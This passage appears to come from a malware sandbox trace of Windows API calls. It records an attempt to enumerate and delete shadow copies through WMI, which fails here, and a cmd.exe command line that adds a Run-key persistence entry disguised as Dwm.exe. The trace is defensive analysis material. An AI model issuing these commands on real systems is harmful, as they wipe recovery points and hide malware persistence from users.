	[0236.654] free (_Block=0x3ec930) 
	[0236.654] free (_Block=0x3ecb40) 
	[0236.654] free (_Block=0x3ec8b0) 
	[0236.654] lstrlenW (lpString="SET") returned 3
	[0236.654] lstrlenW (lpString="delete") returned 6
	[0236.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0236.654] lstrlenW (lpString="CREATE") returned 6
	[0236.654] lstrlenW (lpString="delete") returned 6
	[0236.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0236.654] free (_Block=0x3ec7f0) 
	[0236.654] malloc (_Size=0x8) returned 0x3ecb40
	[0236.654] lstrlenW (lpString="GET") returned 3
	[0236.654] lstrlenW (lpString="delete") returned 6
	[0236.654] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0236.654] lstrlenW (lpString="LIST") returned 4
	[0236.655] lstrlenW (lpString="delete") returned 6
	[0236.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0236.655] lstrlenW (lpString="ASSOC") returned 5
	[0236.655] lstrlenW (lpString="delete") returned 6
	[0236.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0236.655] WbemLocator:IUnknown:AddRef (This=0x1da1390) returned 0x3
	[0236.655] free (_Block=0x29dfb0) 
	[0236.655] lstrlenW (lpString="") returned 0
	[0236.655] lstrlenW (lpString="XDUWTFONO") returned 9
	[0236.655] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0236.655] lstrlenW (lpString="XDUWTFONO") returned 9
	[0236.655] malloc (_Size=0x14) returned 0x3ec7f0
	[0236.655] lstrlenW (lpString="XDUWTFONO") returned 9
	[0236.655] GetCurrentThreadId () returned 0x60c
	[0236.655] GetCurrentProcess () returned 0xffffffffffffffff
	[0236.656] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x28fae0 | out: TokenHandle=0x28fae0*=0x288) returned 1
	[0236.656] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28fad8 | out: TokenInformation=0x0, ReturnLength=0x28fad8) returned 0
	[0236.656] malloc (_Size=0x40) returned 0x3ecb60
	[0236.656] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x3ecb60, TokenInformationLength=0x40, ReturnLength=0x28fad8 | out: TokenInformation=0x3ecb60, ReturnLength=0x28fad8) returned 1
	[0236.656] AdjustTokenPrivileges (in: TokenHandle=0x288, DisableAllPrivileges=0, NewState=0x3ecb60*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=1098315236, Attributes=0xd4a2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0236.656] free (_Block=0x3ecb60) 
	[0236.656] CloseHandle (hObject=0x288) returned 1
	[0236.656] lstrlenW (lpString="GET") returned 3
	[0236.656] lstrlenW (lpString="delete") returned 6
	[0236.656] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0236.656] lstrlenW (lpString="LIST") returned 4
	[0236.656] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0236.657] lstrlenW (lpString="SET") returned 3
	[0236.657] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0236.657] lstrlenW (lpString="CALL") returned 4
	[0236.657] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0236.657] lstrlenW (lpString="ASSOC") returned 5
	[0236.657] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0236.657] lstrlenW (lpString="CREATE") returned 6
	[0236.657] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0236.657] lstrlenW (lpString="DELETE") returned 6
	[0236.657] lstrlenW (lpString="delete") returned 6
	[0236.657] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0236.659] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.659] lstrlenA (lpString="") returned 0
	[0236.659] malloc (_Size=0x2) returned 0x29dfb0
	[0236.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff68314c, cbMultiByte=-1, lpWideCharStr=0x29dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0236.659] free (_Block=0x29dfb0) 
	[0236.659] malloc (_Size=0x18) returned 0x3ec930
	[0236.659] lstrlenA (lpString="") returned 0
	[0236.659] malloc (_Size=0x2) returned 0x29dfb0
	[0236.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff68314c, cbMultiByte=-1, lpWideCharStr=0x29dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0236.660] free (_Block=0x29dfb0) 
	[0236.660] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.660] malloc (_Size=0x3e) returned 0x3ecb60
	[0236.660] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0236.660] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select"
	[0236.660] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.660] free (_Block=0x3ec930) 
	[0236.660] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008200680007 | out: _String=0x0, _Context=0x54008200680007) returned="*"
	[0236.660] lstrlenW (lpString="FROM") returned 4
	[0236.660] lstrlenW (lpString="*") returned 1
	[0236.660] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0236.660] malloc (_Size=0x18) returned 0x3ec930
	[0236.661] free (_Block=0x3ec9d0) 
	[0236.661] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008300680007 | out: _String=0x0, _Context=0x54008300680007) returned="from"
	[0236.661] lstrlenW (lpString="FROM") returned 4
	[0236.661] lstrlenW (lpString="from") returned 4
	[0236.661] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0236.661] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.661] free (_Block=0x3ec930) 
	[0236.661] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x54008400680007 | out: _String=0x0, _Context=0x54008400680007) returned="Win32_ShadowCopy"
	[0236.661] malloc (_Size=0x18) returned 0x3ec930
	[0236.661] free (_Block=0x3ec9d0) 
	[0236.661] free (_Block=0x3ecb60) 
	[0236.661] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.662] malloc (_Size=0x18) returned 0x3ec8d0
	[0236.662] SysStringLen (param_1="SELECT * FROM ") returned 0xe
	[0236.662] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10
	[0236.662] free (_Block=0x3ec8b0) 
	[0236.662] free (_Block=0x3ec9d0) 
	[0236.662] ??0CHString@@QEAA@XZ () returned 0x28fa50
	[0236.662] GetCurrentThreadId () returned 0x60c
	[0236.662] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.662] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.662] malloc (_Size=0x18) returned 0x3ec950
	[0236.662] malloc (_Size=0x18) returned 0x3ec970
	[0236.663] malloc (_Size=0x18) returned 0x3ec990
	[0236.663] SysStringLen (param_1="\\\\") returned 0x2
	[0236.663] SysStringLen (param_1="XDUWTFONO") returned 0x9
	[0236.663] malloc (_Size=0x18) returned 0x3ec9b0
	[0236.663] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb
	[0236.663] SysStringLen (param_1="\\") returned 0x1
	[0236.663] malloc (_Size=0x18) returned 0x3ec9f0
	[0236.663] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc
	[0236.663] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa
	[0236.664] free (_Block=0x3ec9b0) 
	[0236.664] free (_Block=0x3ec990) 
	[0236.664] free (_Block=0x3ec970) 
	[0236.664] free (_Block=0x3ec950) 
	[0236.664] free (_Block=0x3ec8b0) 
	[0236.664] free (_Block=0x3ec9d0) 
	[0236.664] malloc (_Size=0x18) returned 0x3ec9d0
	[0236.664] malloc (_Size=0x18) returned 0x3ec8b0
	[0236.664] malloc (_Size=0x18) returned 0x3ec950
	[0236.664] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1da1390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xff6f29d0 | out: ppNamespace=0xff6f29d0*=0x1db3c18) returned 0x0
	[0236.903] free (_Block=0x3ec950) 
	[0236.903] free (_Block=0x3ec8b0) 
	[0236.904] free (_Block=0x3ec9d0) 
	[0236.904] CoSetProxyBlanket (pProxy=0x1db3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0236.904] free (_Block=0x3ec9f0) 
	[0236.905] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0236.905] ??0CHString@@QEAA@XZ () returned 0x28f9a0
	[0236.905] GetCurrentThreadId () returned 0x60c
	[0236.905] malloc (_Size=0x18) returned 0x3ec9f0
	[0236.905] lstrlenA (lpString="") returned 0
	[0236.905] malloc (_Size=0x2) returned 0x29dfb0
	[0236.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff68314c, cbMultiByte=-1, lpWideCharStr=0x29dfb0, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0236.905] free (_Block=0x29dfb0) 
	[0236.905] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e
	[0236.905] SysStringLen (param_1="") returned 0x0
	[0236.905] free (_Block=0x3ec9f0) 
	[0236.905] malloc (_Size=0x18) returned 0x3ec9f0
	[0236.905] IWbemServices:ExecQuery (in: This=0x1db3c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x28f9a8 | out: ppEnum=0x28f9a8*=0x0) returned 0x80041014
	[0238.482] free (_Block=0x3ec9f0) 
	[0238.483] _CxxThrowException () 
	[0238.485] malloc (_Size=0x20) returned 0x3ecb60
	[0238.485] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0238.485] free (_Block=0x3ec930) 
	[0238.485] free (_Block=0x3ec8d0) 
	[0238.485] GetCurrentThreadId () returned 0x60c
	[0238.485] ??0CHString@@QEAA@PEBG@Z () returned 0x28fb88
	[0238.485] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x28fb88
	[0238.486] ??0CHString@@QEAA@XZ () returned 0x28f920
	[0238.486] malloc (_Size=0x18) returned 0x3ec8d0
	[0238.486] malloc (_Size=0x18) returned 0x3ec930
	[0238.486] SysStringLen (param_1="") returned 0x0
	[0238.486] free (_Block=0x3ec8d0) 
	[0238.486] CoCreateInstance (in: rclsid=0xff6873c0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff687390*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xff6f29f8 | out: ppv=0xff6f29f8*=0x1da1450) returned 0x0
	[0238.494] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1da1450, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x28f918 | out: MessageText=0x28f918*="Initialization failure\r\n") returned 0x0
	[0238.495] free (_Block=0x3ec930) 
	[0238.495] malloc (_Size=0x18) returned 0x3ec930
	[0238.495] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1da1450, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x28f910 | out: MessageText=0x28f910*="WMI") returned 0x0
	[0238.497] malloc (_Size=0x18) returned 0x3ec8d0
	[0238.497] lstrlenW (lpString="WMI") returned 3
	[0238.497] lstrlenW (lpString="Wbem") returned 4
	[0238.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1
	[0238.497] lstrlenW (lpString="WMI") returned 3
	[0238.497] lstrlenW (lpString="WMI") returned 3
	[0238.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2
	[0238.498] WbemStatusCodeText:IUnknown:Release (This=0x1da1450) returned 0x0
	[0238.498] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0238.498] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x28f180, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18
	[0238.498] FormatMessageW (in: dwFlags=0x2500, lpSource=0x28f180, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x28f150, nSize=0x0, Arguments=0x28f158 | out: lpBuffer="鰠\x10") returned 0x2e
	[0238.498] malloc (_Size=0x18) returned 0x3ec9f0
	[0238.498] LocalFree (hMem=0x109c20) returned 0x0
	[0238.498] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47
	[0238.498] malloc (_Size=0x2f) returned 0x3e8600
	[0238.498] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x3e8600, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47
	[0238.498] fprintf (in: _File=0x7fefe122ae0, _Format="%s" | out: _File=0x7fefe122ae0) returned 46
	[0238.501] fflush (in: _File=0x7fefe122ae0 | out: _File=0x7fefe122ae0) returned 0
	[0238.501] free (_Block=0x3e8600) 
	[0238.501] free (_Block=0x3ec9f0) 
	[0238.501] free (_Block=0x3ec8d0) 
	[0238.501] free (_Block=0x3ec930) 
	[0238.501] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0238.501] ??0CHString@@QEAA@PEBG@Z () returned 0x28fb80
	[0238.501] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x28fb80
	[0238.501] GetCurrentThreadId () returned 0x60c
	[0238.502] ??1CHString@@QEAA@XZ () returned 0x76f601
	[0238.502] WbemLocator:IUnknown:Release (This=0x1db3c18) returned 0x0
	[0238.502] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0238.502] free (_Block=0x3ecb60) 
	[0238.503] _kbhit () returned 0x0
	[0238.506] free (_Block=0x3ecb40) 
	[0238.506] free (_Block=0x3ec7d0) 
	[0238.506] free (_Block=0x3ec7b0) 
	[0238.506] free (_Block=0x3ec790) 
	[0238.506] free (_Block=0x3ec770) 
	[0238.506] free (_Block=0x3eca40) 
	[0238.506] free (_Block=0x3ec870) 
	[0238.506] free (_Block=0x3e85c0) 
	[0238.506] free (_Block=0x3ec8f0) 
	[0238.506] free (_Block=0x3ecaa0) 
	[0238.506] free (_Block=0x3ec890) 
	[0238.506] free (_Block=0x3ec910) 
	[0238.506] free (_Block=0x3ecb20) 
	[0238.506] free (_Block=0x3e6d00) 
	[0238.507] free (_Block=0x3ecaf0) 
	[0238.507] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0238.507] free (_Block=0x3eca70) 
	[0238.507] free (_Block=0x3ec810) 
	[0238.507] free (_Block=0x3ec830) 
	[0238.507] free (_Block=0x3e7f80) 
	[0238.507] free (_Block=0x3e6400) 
	[0238.507] free (_Block=0x3e6450) 
	[0238.507] free (_Block=0x3ec7f0) 
	[0238.507] free (_Block=0x3e6520) 
	[0238.507] free (_Block=0x3e6ce0) 
	[0238.507] free (_Block=0x3e8040) 
	[0238.507] free (_Block=0x3e68c0) 
	[0238.507] free (_Block=0x3e8000) 
	[0238.508] free (_Block=0x3e6860) 
	[0238.508] free (_Block=0x3e6880) 
	[0238.508] free (_Block=0x3e6740) 
	[0238.508] free (_Block=0x3e6760) 
	[0238.508] free (_Block=0x3e66e0) 
	[0238.508] free (_Block=0x3e6700) 
	[0238.508] free (_Block=0x3e67a0) 
	[0238.508] free (_Block=0x3e67c0) 
	[0238.508] free (_Block=0x3e6800) 
	[0238.508] free (_Block=0x3e6820) 
	[0238.508] free (_Block=0x3e6620) 
	[0238.508] free (_Block=0x3e6640) 
	[0238.508] free (_Block=0x3e65c0) 
	[0238.509] free (_Block=0x3e65e0) 
	[0238.509] free (_Block=0x3e6680) 
	[0238.509] free (_Block=0x3e66a0) 
	[0238.509] free (_Block=0x3e6560) 
	[0238.509] free (_Block=0x3e6580) 
	[0238.509] free (_Block=0x3e64d0) 
	[0238.509] free (_Block=0x3e64a0) 
	[0238.509] free (_Block=0x3e6da0) 
	[0238.509] WbemLocator:IUnknown:Release (This=0x1da1390) returned 0x2
	[0238.509] WbemLocator:IUnknown:Release (This=0x1db3b28) returned 0x0
	[0238.510] WbemLocator:IUnknown:Release (This=0x1db3a98) returned 0x0
	[0238.510] WbemLocator:IUnknown:Release (This=0x1da1390) returned 0x1
	[0238.510] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0238.510] WbemLocator:IUnknown:Release (This=0x1da1390) returned 0x0
	[0238.510] free (_Block=0x3ec6f0) 
	[0238.510] free (_Block=0x3ec710) 
	[0238.510] free (_Block=0x3e8540) 
	[0238.511] free (_Block=0x3ec730) 
	[0238.511] free (_Block=0x3ec750) 
	[0238.511] free (_Block=0x3e8580) 
	[0238.511] free (_Block=0x3ec570) 
	[0238.511] free (_Block=0x3ec590) 
	[0238.511] free (_Block=0x3e83c0) 
	[0238.511] free (_Block=0x3ec5b0) 
	[0238.511] free (_Block=0x3ec5d0) 
	[0238.511] free (_Block=0x3e8400) 
	[0238.511] free (_Block=0x3ec4f0) 
	[0238.511] free (_Block=0x3ec510) 
	[0238.511] free (_Block=0x3e8340) 
	[0238.511] free (_Block=0x3ec530) 
	[0238.512] free (_Block=0x3ec550) 
	[0238.512] free (_Block=0x3e8380) 
	[0238.512] free (_Block=0x3ec670) 
	[0238.512] free (_Block=0x3ec690) 
	[0238.512] free (_Block=0x3e84c0) 
	[0238.512] free (_Block=0x3ec6b0) 
	[0238.512] free (_Block=0x3ec6d0) 
	[0238.512] free (_Block=0x3e8500) 
	[0238.512] free (_Block=0x3ec470) 
	[0238.512] free (_Block=0x3ec490) 
	[0238.512] free (_Block=0x3e82c0) 
	[0238.512] free (_Block=0x3ec4b0) 
	[0238.513] free (_Block=0x3ec4d0) 
	[0238.513] free (_Block=0x3e8300) 
	[0238.513] free (_Block=0x3ec5f0) 
	[0238.513] free (_Block=0x3ec610) 
	[0238.513] free (_Block=0x3e8440) 
	[0238.513] free (_Block=0x3ec630) 
	[0238.513] free (_Block=0x3ec650) 
	[0238.513] free (_Block=0x3e8480) 
	[0238.513] free (_Block=0x3ec3b0) 
	[0238.513] free (_Block=0x3ec3d0) 
	[0238.513] free (_Block=0x3e8200) 
	[0238.513] free (_Block=0x3ec270) 
	[0238.514] free (_Block=0x3ec290) 
	[0238.514] free (_Block=0x3e80c0) 
	[0238.514] free (_Block=0x3e6e90) 
	[0238.514] free (_Block=0x3e6eb0) 
	[0238.514] free (_Block=0x3e8080) 
	[0238.514] free (_Block=0x3ec2f0) 
	[0238.514] free (_Block=0x3ec310) 
	[0238.514] free (_Block=0x3e8140) 
	[0238.514] free (_Block=0x3ec3f0) 
	[0238.514] free (_Block=0x3ec410) 
	[0238.514] free (_Block=0x3e8240) 
	[0238.514] free (_Block=0x3ec2b0) 
	[0238.515] free (_Block=0x3ec2d0) 
	[0238.515] free (_Block=0x3e8100) 
	[0238.515] free (_Block=0x3ec330) 
	[0238.515] free (_Block=0x3ec350) 
	[0238.515] free (_Block=0x3e8180) 
	[0238.515] free (_Block=0x3ec370) 
	[0238.515] free (_Block=0x3ec390) 
	[0238.515] free (_Block=0x3e81c0) 
	[0238.515] free (_Block=0x3ec430) 
	[0238.515] free (_Block=0x3ec450) 
	[0238.515] free (_Block=0x3e8280) 
	[0238.516] CoUninitialize () 
	[0238.865] exit (_Code=-2147217388) 
	[0238.865] free (_Block=0x3e6d50) 
	[0238.865] free (_Block=0x3e7c10) 
	[0238.865] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0238.865] free (_Block=0x3e6e40) 
	[0238.865] free (_Block=0x3e6540) 
	[0238.865] free (_Block=0x3e7bd0) 
	[0238.865] free (_Block=0x3e7b90) 
	[0238.865] free (_Block=0x3e7b40) 
	[0238.865] free (_Block=0x3e7b00) 
	[0238.866] free (_Block=0x3e7aa0) 
	[0238.866] free (_Block=0x3e5a80) 
	[0238.866] free (_Block=0x3e5a40) 
	[0238.866] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0238.866] free (_Block=0x3ec850) 

Thread:
	id = 454
	os_tid = 0xf44


Thread:
	id = 613
	os_tid = 0x1154


Thread:
	id = 621
	os_tid = 0x118c


Thread:
	id = 622
	os_tid = 0x1190


Thread:
	id = 623
	os_tid = 0x1194


Process:
	id = "26"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x307b9000"
	os_pid = "0x78c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 142
	os_tid = 0x660

	[0175.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28feb0 | out: lpSystemTimeAsFileTime=0x28feb0*(dwLowDateTime=0x4b2b6a80, dwHighDateTime=0x1d5cdef)) 
	[0175.531] GetCurrentProcessId () returned 0x78c
	[0175.531] GetCurrentThreadId () returned 0x660
	[0175.531] GetTickCount () returned 0x116fb21
	[0175.531] QueryPerformanceCounter (in: lpPerformanceCount=0x28feb8 | out: lpPerformanceCount=0x28feb8*=31709118008) returned 1
	[0175.533] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000
	[0175.533] __set_app_type (_Type=0x1) 
	[0175.533] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0
	[0175.534] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0
	[0175.535] GetCurrentThreadId () returned 0x660
	[0175.535] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x660) returned 0x3c
	[0175.536] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0175.536] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0175.536] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0175.574] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0175.574] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fe48 | out: phkResult=0x28fe48*=0x0) returned 0x2
	[0175.575] VirtualQuery (in: lpAddress=0x28fe30, lpBuffer=0x28fdb0, dwLength=0x30 | out: lpBuffer=0x28fdb0*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0175.575] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fdb0, dwLength=0x30 | out: lpBuffer=0x28fdb0*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0175.575] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fdb0, dwLength=0x30 | out: lpBuffer=0x28fdb0*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0175.575] VirtualQuery (in: lpAddress=0x194000, lpBuffer=0x28fdb0, dwLength=0x30 | out: lpBuffer=0x28fdb0*(BaseAddress=0x194000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0175.575] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fdb0, dwLength=0x30 | out: lpBuffer=0x28fdb0*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0175.575] GetConsoleOutputCP () returned 0x1b5
	[0175.576] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0175.577] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1
	[0175.577] _get_osfhandle (_FileHandle=1) returned 0x7
	[0175.577] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0175.578] _get_osfhandle (_FileHandle=1) returned 0x7
	[0175.578] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0175.579] _get_osfhandle (_FileHandle=1) returned 0x7
	[0175.579] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0175.580] _get_osfhandle (_FileHandle=0) returned 0x3
	[0175.580] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0175.581] _get_osfhandle (_FileHandle=0) returned 0x3
	[0175.581] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0175.582] GetEnvironmentStringsW () returned 0x478bf0*
	[0175.582] GetProcessHeap () returned 0x460000
	[0175.582] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa7c) returned 0x479680
	[0175.583] FreeEnvironmentStringsW (penv=0x478bf0) returned 1
	[0175.583] GetProcessHeap () returned 0x460000
	[0175.583] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x8) returned 0x478a70
	[0175.583] GetEnvironmentStringsW () returned 0x478bf0*
	[0175.583] GetProcessHeap () returned 0x460000
